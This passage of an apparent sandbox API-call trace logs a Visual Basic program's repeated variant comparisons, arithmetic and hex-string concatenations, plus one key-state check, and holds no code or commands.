(pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.081] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.081] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.082] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.082] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.082] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.082] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.082] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.082] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.082] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.082] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.082] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.082] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.082] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.082] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.082] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.082] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.082] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.082] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.082] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.083] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.083] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.083] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.083] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.083] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.083] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.083] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.083] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.083] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.083] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.083] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.083] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.083] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.083] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.083] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.083] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.084] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.084] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.084] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.084] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.084] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.084] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.084] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.085] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.085] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.085] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.085] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.085] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.085] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.085] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.085] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.085] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.085] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.085] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.085] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.085] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.085] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.085] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.085] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.086] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.086] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.086] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.086] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.086] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.086] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.086] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.086] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.086] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.086] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.086] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.086] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.086] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.086] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.086] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.086] VarBstrCat (in: bstrLeft="&Ha", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.086] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.086] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.086] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.118] GetAsyncKeyState (vKey=3) returned 0 [0086.118] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.118] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.118] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.118] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.118] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.119] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.119] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.119] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.119] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.119] VarBstrCat (in: bstrLeft="&H1", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.119] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.119] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.119] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.119] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.119] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.119] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.119] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.119] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.119] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.119] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.119] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.119] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.120] VarBstrCat (in: bstrLeft="&He", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.120] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.120] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.120] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.120] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.120] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.120] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.120] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.121] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.121] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.121] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.121] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.121] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.121] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.121] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.121] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.121] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.121] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.121] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.121] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.121] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.121] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.121] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.121] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.121] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.122] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.122] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.122] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.122] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.122] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.122] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.122] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.122] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.122] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.122] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.122] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.122] VarBstrCat (in: bstrLeft="&H", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.122] VarBstrCat (in: bstrLeft="&H4", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.122] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.122] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.122] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.122] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.122] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.122] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.123] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.123] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.123] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.123] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.123] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.123] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.123] VarBstrCat (in: bstrLeft="&Hc", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.123] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.123] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.123] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.123] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.123] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.123] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.123] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.123] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.123] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.124] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.124] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.124] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.124] VarBstrCat (in: bstrLeft="&H3", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.124] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.124] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.124] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.124] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.124] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.124] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.124] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.124] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.124] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.124] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.124] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.124] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.124] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.125] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.125] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.125] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.125] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.125] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.125] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.125] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.125] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.125] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.125] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.125] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.125] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.125] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.125] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.125] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.125] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.125] VarCmp (pvarLeft=0x19790c, 